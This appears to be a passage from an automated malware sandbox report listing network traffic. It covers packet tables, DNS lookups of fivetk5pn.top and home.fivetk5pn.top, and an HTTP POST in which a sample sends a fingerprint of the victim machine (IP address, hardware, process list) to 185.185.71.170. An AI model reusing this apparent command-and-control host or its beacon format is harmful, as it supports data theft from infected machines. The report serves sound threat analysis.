Dec 18, 2024 20:56:47.936381102 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.936510086 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.937427044 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.937443972 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.937510967 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.938589096 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.938596964 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.938663006 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.953789949 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.953860998 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.954866886 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.954875946 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.955097914 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.955964088 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.955981016 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.956070900 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.957261086 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.957268953 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.957330942 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.959465027 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.959474087 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.959568024 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.960545063 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.960553885 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.960652113 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.961683989 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.961693048 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.961996078 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.962757111 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.962765932 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.962867022 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.963872910 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.963881969 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.963888884 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.963954926 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.964951038 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.964967012 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.965006113 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.966136932 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.966145992 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.966284037 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.967245102 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.967253923 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.967330933 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.968581915 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.968590975 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.968677998 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.969660044 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.969669104 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.969681025 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.969733000 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.970617056 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.970626116 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.970720053 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.971925974 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.971940994 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.971947908 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.972062111 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.977018118 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.977029085 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.977113962 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.978041887 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.978059053 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.978090048 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.979074001 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.979082108 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.979089022 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.979130983 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.980305910 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.980314970 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.980412960 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.981425047 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.983966112 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:47.993817091 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:47.993921041 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:48.104032040 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:48.104331970 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:54.316078901 CET	49799	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:54.435812950 CET	80	49799	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:54.435940981 CET	49799	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:54.445566893 CET	49799	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:54.565895081 CET	80	49799	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:55.775285959 CET	80	49799	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:55.775840044 CET	49799	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:55.895817041 CET	80	49799	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:55.895936012 CET	49799	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:57.027614117 CET	49806	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:57.147304058 CET	80	49806	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:57.147411108 CET	49806	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:57.148350000 CET	49806	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:57.267844915 CET	80	49806	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:57.267915964 CET	49806	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:57.267945051 CET	80	49806	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:57.267951012 CET	80	49806	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:57.268001080 CET	49806	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:57.268033028 CET	80	49806	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:57.268039942 CET	80	49806	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:57.268080950 CET	80	49806	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:57.268085957 CET	49806	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:57.268116951 CET	80	49806	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:57.268130064 CET	49806	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:57.268167019 CET	49806	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:57.268205881 CET	80	49806	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:57.268234015 CET	80	49806	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:57.268261909 CET	80	49806	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:57.268265963 CET	49806	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:57.268282890 CET	49806	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:57.268297911 CET	49806	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:57.388086081 CET	80	49806	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:57.388091087 CET	80	49806	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:57.388096094 CET	80	49806	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:57.388108015 CET	80	49806	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:57.388160944 CET	80	49806	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:57.388190031 CET	49806	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:57.388197899 CET	80	49806	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:57.388231039 CET	49806	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:57.388267040 CET	49806	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:57.429974079 CET	80	49806	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:57.430078030 CET	49806	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:57.551808119 CET	80	49806	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:57.551913023 CET	49806	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:57.597990036 CET	80	49806	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:57.726006985 CET	80	49806	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:58.153865099 CET	80	49806	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:58.937256098 CET	80	49806	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:58.937678099 CET	49806	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:59.057651043 CET	80	49806	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:59.057955980 CET	49806	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:57:01.676143885 CET	49821	443	192.168.2.3	142.250.181.132
Dec 18, 2024 20:57:01.676187992 CET	443	49821	142.250.181.132	192.168.2.3
Dec 18, 2024 20:57:01.677259922 CET	49821	443	192.168.2.3	142.250.181.132
Dec 18, 2024 20:57:01.677259922 CET	49821	443	192.168.2.3	142.250.181.132
Dec 18, 2024 20:57:01.677295923 CET	443	49821	142.250.181.132	192.168.2.3
Dec 18, 2024 20:57:02.194928885 CET	49824	443	192.168.2.3	142.250.181.132
Dec 18, 2024 20:57:02.194972038 CET	443	49824	142.250.181.132	192.168.2.3
Dec 18, 2024 20:57:02.195116043 CET	49824	443	192.168.2.3	142.250.181.132
Dec 18, 2024 20:57:02.195761919 CET	49824	443	192.168.2.3	142.250.181.132
Dec 18, 2024 20:57:02.195777893 CET	443	49824	142.250.181.132	192.168.2.3
Dec 18, 2024 20:57:02.274070024 CET	49827	443	192.168.2.3	142.250.181.132
Dec 18, 2024 20:57:02.274106979 CET	443	49827	142.250.181.132	192.168.2.3
Dec 18, 2024 20:57:02.274209023 CET	49827	443	192.168.2.3	142.250.181.132
Dec 18, 2024 20:57:02.274844885 CET	49827	443	192.168.2.3	142.250.181.132
Dec 18, 2024 20:57:02.274864912 CET	443	49827	142.250.181.132	192.168.2.3
Dec 18, 2024 20:57:02.397135019 CET	49830	443	192.168.2.3	142.250.181.132
Dec 18, 2024 20:57:02.397191048 CET	443	49830	142.250.181.132	192.168.2.3
Dec 18, 2024 20:57:02.397255898 CET	49830	443	192.168.2.3	142.250.181.132
Dec 18, 2024 20:57:02.397464991 CET	49830	443	192.168.2.3	142.250.181.132
Dec 18, 2024 20:57:02.397481918 CET	443	49830	142.250.181.132	192.168.2.3
Dec 18, 2024 20:57:03.386281967 CET	443	49821	142.250.181.132	192.168.2.3
Dec 18, 2024 20:57:03.386590004 CET	49821	443	192.168.2.3	142.250.181.132
Dec 18, 2024 20:57:03.386615038 CET	443	49821	142.250.181.132	192.168.2.3
Dec 18, 2024 20:57:03.387793064 CET	443	49821	142.250.181.132	192.168.2.3
Dec 18, 2024 20:57:03.387880087 CET	49821	443	192.168.2.3	142.250.181.132
Dec 18, 2024 20:57:03.892957926 CET	443	49824	142.250.181.132	192.168.2.3
Dec 18, 2024 20:57:03.893285036 CET	49824	443	192.168.2.3	142.250.181.132
Dec 18, 2024 20:57:03.893302917 CET	443	49824	142.250.181.132	192.168.2.3
Dec 18, 2024 20:57:03.894396067 CET	443	49824	142.250.181.132	192.168.2.3
Dec 18, 2024 20:57:03.894520998 CET	49824	443	192.168.2.3	142.250.181.132
Dec 18, 2024 20:57:03.971765041 CET	443	49827	142.250.181.132	192.168.2.3
Dec 18, 2024 20:57:03.978059053 CET	49827	443	192.168.2.3	142.250.181.132
Dec 18, 2024 20:57:03.978070021 CET	443	49827	142.250.181.132	192.168.2.3
Dec 18, 2024 20:57:03.979156017 CET	443	49827	142.250.181.132	192.168.2.3
Dec 18, 2024 20:57:03.979222059 CET	49827	443	192.168.2.3	142.250.181.132
Dec 18, 2024 20:57:04.092533112 CET	443	49830	142.250.181.132	192.168.2.3
Dec 18, 2024 20:57:04.092937946 CET	49830	443	192.168.2.3	142.250.181.132
Dec 18, 2024 20:57:04.092948914 CET	443	49830	142.250.181.132	192.168.2.3
Dec 18, 2024 20:57:04.094439030 CET	443	49830	142.250.181.132	192.168.2.3
Dec 18, 2024 20:57:04.094495058 CET	49830	443	192.168.2.3	142.250.181.132
Dec 18, 2024 20:57:04.758646965 CET	49821	443	192.168.2.3	142.250.181.132
Dec 18, 2024 20:57:04.761080027 CET	49830	443	192.168.2.3	142.250.181.132
Dec 18, 2024 20:57:04.761145115 CET	49824	443	192.168.2.3	142.250.181.132
Dec 18, 2024 20:57:04.761610985 CET	49827	443	192.168.2.3	142.250.181.132
Dec 18, 2024 20:57:05.116981983 CET	49838	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:57:05.236617088 CET	80	49838	185.185.71.170	192.168.2.3
Dec 18, 2024 20:57:05.236757994 CET	49838	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:57:05.237320900 CET	49838	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:57:05.356985092 CET	80	49838	185.185.71.170	192.168.2.3
Dec 18, 2024 20:57:05.357034922 CET	80	49838	185.185.71.170	192.168.2.3
Dec 18, 2024 20:57:05.357108116 CET	49838	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:57:05.357191086 CET	80	49838	185.185.71.170	192.168.2.3
Dec 18, 2024 20:57:05.357321978 CET	80	49838	185.185.71.170	192.168.2.3
Dec 18, 2024 20:57:05.357326984 CET	80	49838	185.185.71.170	192.168.2.3
Dec 18, 2024 20:57:05.357384920 CET	49838	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:57:05.357393980 CET	80	49838	185.185.71.170	192.168.2.3
Dec 18, 2024 20:57:05.357402086 CET	80	49838	185.185.71.170	192.168.2.3
Dec 18, 2024 20:57:05.357475042 CET	49838	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:57:05.357491016 CET	80	49838	185.185.71.170	192.168.2.3
Dec 18, 2024 20:57:05.357544899 CET	80	49838	185.185.71.170	192.168.2.3
Dec 18, 2024 20:57:05.357604980 CET	80	49838	185.185.71.170	192.168.2.3
Dec 18, 2024 20:57:05.476639986 CET	80	49838	185.185.71.170	192.168.2.3
Dec 18, 2024 20:57:05.476741076 CET	80	49838	185.185.71.170	192.168.2.3
Dec 18, 2024 20:57:05.476861954 CET	80	49838	185.185.71.170	192.168.2.3
Dec 18, 2024 20:57:05.476866961 CET	80	49838	185.185.71.170	192.168.2.3
Dec 18, 2024 20:57:05.476917982 CET	80	49838	185.185.71.170	192.168.2.3
Dec 18, 2024 20:57:05.476965904 CET	80	49838	185.185.71.170	192.168.2.3
Dec 18, 2024 20:57:05.518321037 CET	80	49838	185.185.71.170	192.168.2.3
Dec 18, 2024 20:57:06.808092117 CET	80	49838	185.185.71.170	192.168.2.3
Dec 18, 2024 20:57:06.810383081 CET	49838	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:57:06.930474997 CET	80	49838	185.185.71.170	192.168.2.3
Dec 18, 2024 20:57:06.930541039 CET	49838	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:57:07.964478970 CET	49845	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:57:08.083933115 CET	80	49845	185.185.71.170	192.168.2.3
Dec 18, 2024 20:57:08.084043026 CET	49845	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:57:08.084669113 CET	49845	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:57:08.204499006 CET	80	49845	185.185.71.170	192.168.2.3
Dec 18, 2024 20:57:09.671087980 CET	80	49845	185.185.71.170	192.168.2.3
Dec 18, 2024 20:57:09.672245026 CET	49845	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:57:09.797751904 CET	80	49845	185.185.71.170	192.168.2.3
Dec 18, 2024 20:57:09.800050020 CET	49845	80	192.168.2.3	185.185.71.170

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 18, 2024 20:56:22.193218946 CET	54706	53	192.168.2.3	1.1.1.1
Dec 18, 2024 20:56:22.193265915 CET	54706	53	192.168.2.3	1.1.1.1
Dec 18, 2024 20:56:22.331326008 CET	53	54706	1.1.1.1	192.168.2.3
Dec 18, 2024 20:56:22.497016907 CET	53	54706	1.1.1.1	192.168.2.3
Dec 18, 2024 20:56:25.619374990 CET	54709	53	192.168.2.3	1.1.1.1
Dec 18, 2024 20:56:25.619445086 CET	54709	53	192.168.2.3	1.1.1.1
Dec 18, 2024 20:56:25.757790089 CET	53	54709	1.1.1.1	192.168.2.3
Dec 18, 2024 20:56:25.757936954 CET	53	54709	1.1.1.1	192.168.2.3
Dec 18, 2024 20:56:29.596112013 CET	54711	53	192.168.2.3	1.1.1.1
Dec 18, 2024 20:56:29.596167088 CET	54711	53	192.168.2.3	1.1.1.1
Dec 18, 2024 20:56:29.733639002 CET	53	54711	1.1.1.1	192.168.2.3
Dec 18, 2024 20:56:29.733661890 CET	53	54711	1.1.1.1	192.168.2.3
Dec 18, 2024 20:56:54.174228907 CET	54559	53	192.168.2.3	1.1.1.1
Dec 18, 2024 20:56:54.174228907 CET	54559	53	192.168.2.3	1.1.1.1
Dec 18, 2024 20:56:54.315005064 CET	53	54559	1.1.1.1	192.168.2.3
Dec 18, 2024 20:56:54.315017939 CET	53	54559	1.1.1.1	192.168.2.3
Dec 18, 2024 20:56:56.888282061 CET	54561	53	192.168.2.3	1.1.1.1
Dec 18, 2024 20:56:56.888282061 CET	54561	53	192.168.2.3	1.1.1.1
Dec 18, 2024 20:56:57.026263952 CET	53	54561	1.1.1.1	192.168.2.3
Dec 18, 2024 20:56:57.026685953 CET	53	54561	1.1.1.1	192.168.2.3
Dec 18, 2024 20:57:01.416507959 CET	53	56562	1.1.1.1	192.168.2.3
Dec 18, 2024 20:57:01.474340916 CET	53	58653	1.1.1.1	192.168.2.3
Dec 18, 2024 20:57:01.532418966 CET	50354	53	192.168.2.3	1.1.1.1
Dec 18, 2024 20:57:01.532571077 CET	63783	53	192.168.2.3	1.1.1.1
Dec 18, 2024 20:57:01.675050020 CET	53	50354	1.1.1.1	192.168.2.3
Dec 18, 2024 20:57:01.675092936 CET	53	63783	1.1.1.1	192.168.2.3
Dec 18, 2024 20:57:04.979337931 CET	62954	53	192.168.2.3	1.1.1.1
Dec 18, 2024 20:57:04.979393959 CET	62954	53	192.168.2.3	1.1.1.1
Dec 18, 2024 20:57:05.116054058 CET	53	62954	1.1.1.1	192.168.2.3
Dec 18, 2024 20:57:05.116148949 CET	53	62954	1.1.1.1	192.168.2.3
Dec 18, 2024 20:57:07.825900078 CET	51043	53	192.168.2.3	1.1.1.1
Dec 18, 2024 20:57:07.825961113 CET	51043	53	192.168.2.3	1.1.1.1
Dec 18, 2024 20:57:07.963651896 CET	53	51043	1.1.1.1	192.168.2.3
Dec 18, 2024 20:57:07.963709116 CET	53	51043	1.1.1.1	192.168.2.3

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 18, 2024 20:56:22.193218946 CET	192.168.2.3	1.1.1.1	0x8e7f	Standard query (0)	httpbin.org	A (IP address)	IN (0x0001)	false
Dec 18, 2024 20:56:22.193265915 CET	192.168.2.3	1.1.1.1	0x27f6	Standard query (0)	httpbin.org	28	IN (0x0001)	false
Dec 18, 2024 20:56:25.619374990 CET	192.168.2.3	1.1.1.1	0xba33	Standard query (0)	home.fivetk5pn.top	A (IP address)	IN (0x0001)	false
Dec 18, 2024 20:56:25.619445086 CET	192.168.2.3	1.1.1.1	0xbd25	Standard query (0)	home.fivetk5pn.top	28	IN (0x0001)	false
Dec 18, 2024 20:56:29.596112013 CET	192.168.2.3	1.1.1.1	0xe4f	Standard query (0)	home.fivetk5pn.top	A (IP address)	IN (0x0001)	false
Dec 18, 2024 20:56:29.596167088 CET	192.168.2.3	1.1.1.1	0x48b1	Standard query (0)	home.fivetk5pn.top	28	IN (0x0001)	false
Dec 18, 2024 20:56:54.174228907 CET	192.168.2.3	1.1.1.1	0x774d	Standard query (0)	fivetk5pn.top	A (IP address)	IN (0x0001)	false
Dec 18, 2024 20:56:54.174228907 CET	192.168.2.3	1.1.1.1	0xb1e8	Standard query (0)	fivetk5pn.top	28	IN (0x0001)	false
Dec 18, 2024 20:56:56.888282061 CET	192.168.2.3	1.1.1.1	0xffa9	Standard query (0)	fivetk5pn.top	A (IP address)	IN (0x0001)	false
Dec 18, 2024 20:56:56.888282061 CET	192.168.2.3	1.1.1.1	0xe008	Standard query (0)	fivetk5pn.top	28	IN (0x0001)	false
Dec 18, 2024 20:57:01.532418966 CET	192.168.2.3	1.1.1.1	0x5cc6	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 18, 2024 20:57:01.532571077 CET	192.168.2.3	1.1.1.1	0x2de4	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 18, 2024 20:57:04.979337931 CET	192.168.2.3	1.1.1.1	0xca58	Standard query (0)	fivetk5pn.top	A (IP address)	IN (0x0001)	false
Dec 18, 2024 20:57:04.979393959 CET	192.168.2.3	1.1.1.1	0x64e4	Standard query (0)	fivetk5pn.top	28	IN (0x0001)	false
Dec 18, 2024 20:57:07.825900078 CET	192.168.2.3	1.1.1.1	0x8891	Standard query (0)	home.fivetk5pn.top	A (IP address)	IN (0x0001)	false
Dec 18, 2024 20:57:07.825961113 CET	192.168.2.3	1.1.1.1	0xb0a	Standard query (0)	home.fivetk5pn.top	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Dec 18, 2024 20:56:22.497016907 CET	1.1.1.1	192.168.2.3	0x8e7f	No error (0)	httpbin.org	98.85.100.80	A (IP address)	IN (0x0001)	false
Dec 18, 2024 20:56:22.497016907 CET	1.1.1.1	192.168.2.3	0x8e7f	No error (0)	httpbin.org	34.226.108.155	A (IP address)	IN (0x0001)	false
Dec 18, 2024 20:56:25.757936954 CET	1.1.1.1	192.168.2.3	0xba33	No error (0)	home.fivetk5pn.top	185.185.71.170	A (IP address)	IN (0x0001)	false
Dec 18, 2024 20:56:29.733661890 CET	1.1.1.1	192.168.2.3	0xe4f	No error (0)	home.fivetk5pn.top	185.185.71.170	A (IP address)	IN (0x0001)	false
Dec 18, 2024 20:56:54.315017939 CET	1.1.1.1	192.168.2.3	0x774d	No error (0)	fivetk5pn.top	185.185.71.170	A (IP address)	IN (0x0001)	false
Dec 18, 2024 20:56:57.026685953 CET	1.1.1.1	192.168.2.3	0xffa9	No error (0)	fivetk5pn.top	185.185.71.170	A (IP address)	IN (0x0001)	false
Dec 18, 2024 20:57:01.675050020 CET	1.1.1.1	192.168.2.3	0x5cc6	No error (0)	www.google.com	142.250.181.132	A (IP address)	IN (0x0001)	false
Dec 18, 2024 20:57:01.675092936 CET	1.1.1.1	192.168.2.3	0x2de4	No error (0)	www.google.com		65	IN (0x0001)	false
Dec 18, 2024 20:57:05.116148949 CET	1.1.1.1	192.168.2.3	0xca58	No error (0)	fivetk5pn.top	185.185.71.170	A (IP address)	IN (0x0001)	false
Dec 18, 2024 20:57:07.963709116 CET	1.1.1.1	192.168.2.3	0x8891	No error (0)	home.fivetk5pn.top	185.185.71.170	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

httpbin.org

home.fivetk5pn.top

fivetk5pn.top

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.3	49736	185.185.71.170	80	7960	C:\Users\user\Desktop\U6mwWZlkzH.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 20:56:25.880994081 CET	12360	OUT	POST /vJNDHPUXPCEIZZjTPbLp1734325090 HTTP/1.1 Host: home.fivetk5pn.top Accept: / Content-Type: application/json Content-Length: 497367 Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 34 35 35 31 37 38 33 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 33 38 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 [TRUNCATED] Data Ascii: { "ip": "8.46.123.189", "current_time": "1734551783", "Num_processor": 4, "Num_ram": 7, "drivers": [ { "name": "C:\\", "all": 223.0, "free": 168.0 } ], "Num_displays": 1, "resolution_x": 1280, "resolution_y": 1024, "recent_files": 38, "processes": [ { "name": "[System Process]", "pid": 0 }, { "name": "System", "pid": 4 }, { "name": "Registry", "pid": 92 }, { "name": "smss.exe", "pid": 328 }, { "name": "csrss.exe", "pid": 412 }, { "name": "wininit.exe", "pid": 488 }, { "name": "csrss.exe", "pid": 496 }, { "name": "winlogon.exe", "pid": 556 }, { "name": "services.exe", "pid": 624 }, { "name": "lsass.exe", "pid": 632 }, { "name": "svchost.exe", "pid": 752 }, { "name": "fontdrvhost.exe", "pid": 776 }, { "name": "fontdrvhost.exe", "pid": 784 }, { "name": "svchost.exe", "pid": 872 }, { "name": "svchost.exe", "pid": 920 }, { "name": "dwm.exe", "pid": 984 }, { "name": "svchost.exe", "pid": 380 }, { "name": "svchost.exe", "pid": 684 }, { "name": "svchost.exe", "pid": 892 }, { "name": "svchost.exe", "pid": [TRUNCATED]
